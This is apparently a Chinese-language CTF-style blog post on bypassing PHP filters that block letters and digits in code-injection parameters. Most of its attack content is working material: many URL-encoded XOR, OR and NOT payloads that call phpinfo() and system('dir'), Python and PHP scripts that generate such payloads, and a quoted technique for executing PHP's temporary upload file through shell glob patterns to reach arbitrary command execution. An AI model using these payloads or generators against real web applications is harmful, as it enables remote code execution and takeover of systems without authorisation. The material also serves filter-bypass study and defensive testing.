无字母webshell | Bypass

无字母webshell-plus

# Pation

- 短标签不需要分号闭合?code=?><?=phpinfo()?><?=system("dir")?>

- eval执行代码相当于另外生成一个php文件,文件格式为有<?php ..... ?>所以可以通过短标签摆脱;的限制

- 异或和或运算时要将两个部分的参数用引号包起来?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();

- \({...}{0}里面的运算会执行且当运算结果为_GET时效果和\)_GET无异

- linux的.表示当前的shell(如/bin/bash)

- 可以通过 ls /fl????? 匹配文件

 

# 方法一:异或运算^

# 方法一:或运算|

方法一+方法二获取脚本:

python<br />import string,urllib.parse<br />print(string.printable)<br />def get_chr(c,jud):<br />&nbsp;&nbsp;&nbsp; for i in range(0xFF):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j in range(128):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (jud == "|"):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (chr(i | j) == c):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (chr(i)not in disable) and (chr(j)not in disable):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return i,j<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; elif jud == "^":<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (chr(i ^ j) == c):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (chr(i)not in disable) and (chr(j)not in disable):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return i,j<br /><br />#根据过滤加入被过滤的字符<br />disable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"<br />print("disable_chars =&gt; ",disable)<br />jud = input("选择或运算(|)输入|,选择异或运算(^)输入^\n-&gt;\t")<br />while 1:<br />&nbsp;&nbsp;&nbsp; c1 = ""<br />&nbsp;&nbsp;&nbsp; c2 = ""<br />&nbsp;&nbsp;&nbsp; inp = input("input Your string:\n-&gt;\t")<br />&nbsp;&nbsp;&nbsp; for i in inp:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a,b = get_chr(i,jud)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a1 = str(hex(a)).replace("0x","")<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b1 = str(hex(b)).replace("0x","")<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if int(a)&lt;16: c1 += "%0"+a1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else: c1 += "%"+a1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if int(b)&lt;16: c2 += "%0"+b1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else: c2 += "%"+ b1<br /><br />&nbsp;&nbsp;&nbsp; print("payload\t=\t(\""+c1+"\""+jud+"\""+c2+"\")")<br />&nbsp;&nbsp;&nbsp; # ?code=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%04%09%09"^"%60%60%7b");<br />&nbsp;&nbsp;&nbsp; # =&gt; ?code=("system")("dir");<br /><br />

# 方法三 : 取反运算~

php<br />&lt;?php<br />$code="phpinfo";<br />echo "\n$code\t(~".urlencode(~$code).")";<br /><br />



# php5与php7的区别:

**php5不支持(\(a)()这种方法动态解析调用函数;**<br /><br />在 PHP 5 中 assert() 是一个函数,我们可以通过`\)f='assert';\(f(...);`这样的方法来动态执行任意代码,此时它可以起到替代 eval() 的作用。但是在 PHP 7 中,assert() 不再是函数了,而是变成了一个和 eval() 一样的语言结构,此时便**和&nbsp; eval() 一样不能再作为函数名动态执行代码**,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents() 函数,同样可以用来 Getshell 。<br /><br />------<br /><br />异或运算^或运算|取反运算~方法都是先进行运算后得到函数字符串再动态执行函数的,想要进行运算得到目标字符串有以下方法(三种):<br /><br />### 方法一 : 通过(...)执行运算<br /><br />?code=(~%8F%97%8F%96%91%99%90)();<br /><br />### 方法二 : 通过\[...][0]执行运算<br /><br />\[]会执行里面的函数,然后得到的结果为一个数组,\[][0]获得第一个成员变量(%ff取反得到的是false)<br />方法二payload生成脚本:<br />```php<br />exp = ""<br />def urlbm(s):<br />&nbsp;&nbsp;&nbsp; ss = ""<br />&nbsp;&nbsp;&nbsp; for each in s:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ss += "%" + str(hex(255 - ord(each)))[2:]<br />&nbsp;&nbsp;&nbsp; return f"[~{ss}][!%FF]("<br />while True:<br />&nbsp;&nbsp;&nbsp; fun = input("Firebasky&gt;: ").strip(")").split("(")<br />&nbsp;&nbsp;&nbsp; exp = ''<br />&nbsp;&nbsp;&nbsp; for each in fun[:-1]:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exp += urlbm(each)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print(exp)<br />&nbsp;&nbsp;&nbsp; exp += ")" * (len(fun) - 1) + ";"<br />&nbsp;&nbsp;&nbsp; print(exp)<br /><br />```<br /><br />```php<br />?code=[~%8F%97%8F%96%91%99%90][0]();<br />?code=[~%8F%97%8F%96%91%99%90][~%ff]();<br />?code=[~%8F%97%8F%96%91%99%90,0][~%ff]();<br />?code=[phpinfo,0][~%ff]();<br />以上都可行,以下不执行<br />?code=[~%8F%97%8F%96%91%99%90,0][1]();<br />```<br /><br />所以可以通过\[~%8F%97%8F%96%91%99%90]\[!%FF]()这种方法得到"phpinfo"字符串进一步执行phpinfo()函数<br /><br />?code=\[~%8F%97%8F%96%91%99%90]\[!%FF]();<br /><br />### 方法三 : 通过\){...}{%ff}执行运算得到\({_GET}{%ff}<br /><br />**这个方法不会受到版本限制(php5或php7均可)**<br /><br />还可以通过?code=\){%ff%ff%ff%ff%a0%b8%ba%ab}{%FF}();结合get传参的方法(%ff%ff%ff%ff%a0%b8%ba%ab得到的结果就是_GET)执行phpinfo();

注:本地测试" var_dump(\({_GET}); "可以正常输出,但是" var_dump({\_GET}); "会报错<br /><br />```php<br />?code=\){%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?code=\({%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(\){%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir
<br /><br />解释一下这个师傅的绕过手法:<br /><br />
\({%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&amp;%ff=phpinfo<br />即: <br />\){_GET}{%ff}();&%ff=phpinfo
//?shell=\({_GET}{%ff}();&amp;%ff=phpinfo<br />```<br /><br />&gt; 任何字符与 0xff 异或都会取相反,这样就能减少运算量了。 注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用`{}`代替,原因是 PHP 的 use of undefined constant 特性。例如`\){_GET}{a}这样的语句 PHP 是不会判为错误的,因为{}是用来界定变量的,这句话就是会将GET自动看为字符串,也就是\(_GET['a']`。`\){GET}{%ff}后面那个()为的是能够动态执行传入的 PHP 函数。<br /><br />```php<br />?code="phpinfo"();<br />?code=("phpinfo")();<br />?code=("php"."info")();<br />?code=($_GET[0])();&amp;0=phpinfo<br />?code=[~%8F%97%8F%96%91%99%90][!%FF]();<br />?code=("%10%08%10%09%0E%06%0F"|"```````")();<br />?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();<br />?code=(~%8F%97%8F%96%91%99%90)();<br />以上方法在php5中都不能执行phpinfo()函数,但是php7中就可以<br /><br />以下方法不受版本限制<br />?code=$_="dir"?&gt;&lt;?=\(_`;<br />?code=\)="phpinfo";\(_();<br />?code=\)GET0;&0=phpinfo
?code=\(_=(~%8F%97%8F%96%91%99%90);\)
();
?code=\({%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(\){%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir
```

总结:一般都不会丧心病狂过滤(),所以php7中可以直接通过(...)(...)这种方式执行任意代码,但是php5就比较麻烦,如果\(和=可用还能则可以通过?code=\)
=(~%8F%97%8F%96%91%99%90);\(\_();执行代码<br /><br />或者标准方法三也可以执行任意代码:?code=\){%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(\({%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&amp;%ff=system&amp;%fe=dir<br /><br />#### 分号;被过滤?<br /><br />可以通过不断闭合再短标签执行多个函数 : ?code=?&gt;&lt;?=phpinfo()?&gt;&lt;?=system("dir")?&gt;<br /><br />但是如果在php5中\)被ban了的话只能通过如下拓展,

1: 利用?>闭合eval的<?标签再通过短标签<?=和``获得shell的方法

2: 配合通配符执行匹配文件   和   .使用当前shell执行文件

3: 配套上文件上传暂存文件名的规律构造匹配的通配符

最终实现通过当前shell(如/bin/bash)执行构造好的上传文件,最终达到RCE的效果




#拓展方法四#
拓展一些(来自p神的文章) : https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

## PHP5+shell打破禁锢

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

1. shell下可以利用.来执行任意脚本
2. Linux文件名支持用glob通配符代替

第一点曾在《 小密圈里的那些奇技淫巧 》露出过一角,但我没细讲。.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

- *可以代替0个及以上任意字符
- ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

image.png

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

image.png

可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

思路又陷入了僵局,虽然方向没错。

## 深入理解glob通配符

大部分同学对于通配符,可能知道的都只有*?。但实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。

其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts

image.png

排除了第4个字符是-的文件,同样我们可以排除包含.的文件:

image.png

现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。

继续阅读glob的帮助,我发现另一个有趣的用法:

image.png

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件:

image.png

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

image.png

那么,我们可以利用[@-[]来表示大写字母:

image.png

显然这一招是管用的。

## 构造POC,执行任意命令

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?&gt;&lt;?=. /???/????????[@-[];?&gt;,发送数据包如下:

img

成功执行任意命令。


posted @ 2022-04-25 12:10  h0cksr  阅读(253)  评论(0)    收藏  举报